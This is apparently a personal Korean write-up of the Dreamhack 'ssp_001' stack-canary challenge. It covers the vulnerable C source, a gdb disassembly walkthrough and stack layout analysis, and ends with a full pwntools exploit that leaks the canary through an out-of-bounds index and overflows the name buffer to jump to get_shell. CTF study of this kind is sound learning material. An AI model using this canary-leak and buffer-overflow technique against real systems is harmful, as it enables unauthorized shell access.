← 전체 Write-Up

Pwn / Dreamhack

ssp_001

Dreamhack 문제의 풀이와 실습 과정을 원문 그대로 담은 개인 기록입니다.

읽기 안내

Dreamhack의 개인 문제 풀이 기록입니다. 원문에 남아 있는 실습 주소·플래그와 실패·미완료 결과를 그대로 보존했습니다.

환경

ssp_001 — 실습 화면 1

  • 32bit 환경
  • Canary 보호기법 ON
  • NX 보호기법 ON

실습 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\\n", idx, box[idx]);
}

void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}

int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;

    initialize();

    while(1) {
        menu();
        read(0, select, 2);
        switch(select[0]) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;

            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;

            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;

            default:
                break;
        }
    }
}

분석

1. 소스코드 분석

while() 문으로 무한 루프 돌고 있음. menu() 함수 호출로 메뉴 띄우고
사용자에게서 한번에 2글자를 입력받는데, 2글자 중 첫번째 글자가 F, P, E면 각 해당하는 기능을 수행한다.

  1. F가 입력됐다면 "box input: " 문자열을 띄우고 box 변수의 사이즈만큼 box 변수에 사용자의 입력을 받아 넣는다.
  2. P가 입력됐다면 "Element index:" 문자열을 띄우고 정수를 입력받아 idx에 저장 후 box와 idx를 인자로 하여 print_box() 함수를 호출한다.
    print_box() 함수는 box 배열에서 idx번째에 해당하는 값을 16진수 형태의 2글자까지 보여준다.
  3. E가 입력됐다면 "Name Size:" 문자열을 띄우고 정수를 입력받아 name_len 변수에 저장 후 "Name:" 문자열을 띄우고 name_len 의 값만큼 사용자에게 입력받아 name 변수에 저장한다.

2. 스택 구조

ssp_001 — 실습 화면 2

스택 구조를 예상하자면 대충 이런식일 것이다.

3. main() 함수 분석

gdb에서 disass main 명령어로 함수를 디스어셈블 해보자.

ssp_001 — 실습 화면 3

스택 프롤로그 작업을 마친 뒤 edi 값을 스택에 넣는다.
그리고 esp가 가리키는 위치에서 0x94만큼 스택 공간을 늘린다.
변수 선언의 총 크기가 0x90 인데 스택에서 0x94만큼 늘린 이유는 0x4 bytes크기의 dummy 데이터 때문이다.

ssp_001 — 실습 화면 4

ebp-0xc에 있는 값을 ebp-0x98 주소에 넣고, gs:0x14 값을 ebp-0x8 주소에 넣는다. 즉, canary 값을 설정하는 것이다.

여태까지의 스택 상황을 보면 다음과 같다.

ssp_001 — 실습 화면 5

ssp_001 — 실습 화면 6

eax 레지스터의 값을 0으로 만든다. eax에 0을 넣고, ecx에 0x10을 넣은 뒤 ebp-0x88 주소를 edi에 넣고 rep stos 명령을 실행한다. 그러면 ecx의 값 0x10만큼 반복하여 edi의 값 ebp-0x88 주소에 eax의 값 0x0을 복사한다.

ssp_001 — 실습 화면 7

ebp-0x8a, ebp-0x94, ebp-0x90 주소에 0을 저장함. 이는 변수 초기화 작업으로 보이고, 소스 코드에서 select, idx, name_len 변수를 초기화 하는 구문과 같다. 주소의 공간을 참조하는 크기를 보면 ebp-0x8a 주소에 참조할 때는 WORD(2bytes) 크기만큼 참조하므로 ebp-0x8a 주소가 select 변수인 것을 알 수 있다. 그러나 ebp-0x94와 ebp-0x90 둘 중 어떤 것이 idx or name_len 변수인지 모른다.

ssp_001 — 실습 화면 8

initialize() 함수와 menu() 함수를 호출.

ssp_001 — 실습 화면 9

2, ebp-0x8a, 0을 스택에 넣고 read() 함수를 호출한다.
위에서 ebp-0x8a는 select 변수 임을 확인했다.

ssp_001 — 실습 화면 10

select 변수에 해당하는 주소 ebp-0x8a 주소에서 1byte 값이 46(F), 50(P), 45(E)와 같은지 비교한다. F와 같으면 0x80487c6 주소로 점프하고, P와 같으면 0x80487eb 주소로 점프하며, E와 같으면 0x8048824 주소로 점프하고 3개 모두 비교 후 같은 게 없을 경우 0x804887a 주소로 점프하고, 0x8048790 주소로 점프하여 menu() 함수를 호출한다.

ssp_001 — 실습 화면 11

F가 입력되어 0x80487c6 주소로 점프했을 경우
0x80487c6 주소를 스택에 넣고 printf() 함수를 호출하여 문자열을 띄운다. 0x40, ebp-0x88, 0을 스택에 넣고 read() 함수를 호출한다. 다시말해, ebp-0x88 주소는 box 배열의 주소다.

ssp_001 — 실습 화면 12

P가 입력되어 0x080487eb 주소로 점프했을 경우 0x8048979 주소를 스택에 넣고 printf() 함수를 호출하여 문자열을 띄운다. ebp-0x94 주소, 0x804898a 주소를 스택에 넣고 scanf() 함수를 호출한다. 사용자가 입력한 값이 ebp-0x94 주소에 담기게 되고, ebp-0x94 주소에 있는 값을 스택에 넣고, ebp-0x88 주소를 스택에 넣은 뒤 print_box() 함수를 호출한다. 위 과정을 거치면서 ebp-0x88 주소는 box 배열의 주소, ebp-0x94 주소는 idx 라는 것이 확실해졌다.

ssp_001 — 실습 화면 13

E가 입력되어 0x08048824 주소로 점프했을 경우 0x804898d 주소를 스택에 넣고 printf() 함수를 호출하여 문자열을 출력한다. ebp-0x90 주소, 0x804898a 주소를 스택에 넣고 scanf() 함수를 호출한다. 0x804899a 주소를 스택에 넣고 printf(0 함수를 호출하여 문자열을 출력한다. ebp-0x90, ebp-0x48, 0을 스택에 넣고 read() 함수를 호출한다. 이로써 ebp-0x90 주소는 name_len 변수의 주소, ebp-0x48은 name 배열의 주소임이 확실해졌다.

ssp_001 — 실습 화면 14

마지막으로 eax 레지스터를 0으로 만든 후 ebp-0x8의 값을 edx로 가져와 gs:0x14의 값과 xor 연산하여 canary 검사를한다. xor 연산 결과 0이면, 0x8048884 주소로 점프하여 edi 값을 되돌린 뒤 프로그램이 종료되고 xor 연산 결과가 0이 아니면, 0x804887f 주소로 점프한 후 stack chk fail 함수를 호출한다.

ssp_001 — 실습 화면 15

위 내용을 바탕으로 스택 구조를 정리하면 다음과 같다.

4. 취약점 분석

menu() 함수 호출 후 P, E 에서 취약점이 발생한다. 그 이유는

1. P를 입력했을 때

scanf() 함수로 정수를 입력 받아 idx에 저장하고, box[idx] 형태로 참조하여 화면에 보여주는데 이때 사용자가 입력한 값이 box 배열의 인덱스를 넘는가에 대한 검사가 없다. box의 공간 0x40 + name의 공간 0x40하여 총 0x80을 인덱스로 하면 canary 영역에서 값을 읽어 화면에 보여 줄 것이다. 하지만 화면에 보여줄 때 한 바이트만 보여주므로 32bit 환경의 canary 값 4바이트를 다 가져오기 위해서는 4번 반복해야한다. 게다가 메모리에 저장할 때 리틀 엔디언 방식으로 저장됐다는 점도 고려해야한다. 이렇게 하면 canary 값을 가져올 수 있다.

2. E를 입력했을 때

scanf() 함수로 정수를 입력 받아 name_len에 저장하고 name_len의 값만큼 사용자에게 입력받아 name에 저장하는데 name_len을 사용자가 임의로 지정할 수 있으므로 넉넉히 값을 주고
name에 데이터를 넣을 때는 name_len의 크기를 넘지 않는 선에서 payload를 넣으면 된다. 그리고 주의해야 할 점은 read() 함수로 사용자에게 입력을 받을 경우 pwntools 이용할때 "send"만 적어주고
scanf() 함수로 사용자에게 입력을 받을 경우 pwntools 이용할 때 "sendline"을 적어줘야 한다. ex) read -> sendafter
scanf -> sendlineafter

메모리 구성도

ssp_001 — 실습 화면 16


익스플로잇

1. 익스플로잇 코드

from pwn import *

def slog(name, addr):
    return success(": ".join([name, hex(addr)]))

p = remote('host3.dreamhack.games', port_num)
e = ELF("./ssp_001")

get_shell = e.symbols['get_shell']

# canary leak
canary = b''

i = 131
while i >= 128:
    p.sendlineafter("> ", 'P')
    p.sendlineafter("Element index : ", str(i))
    p.recvuntil("is : ")
    canary += p.recvn(2)
    i = i - 1

canary = int(canary, 16)
slog("canary", canary)

#BOF
payload = b'A' * 64
payload += p32(canary)
payload += b'A' * 8
payload += p32(get_shell)

p.sendlineafter("> ", 'E')
p.sendlineafter("Name Size : ", str(1000))
p.sendlineafter("Name : ", payload)

p.interactive()

ssp_001 — 실습 화면 17

작성 기록과 문제 출처

원문과 출처

풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.

원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.

이미지 원본 출처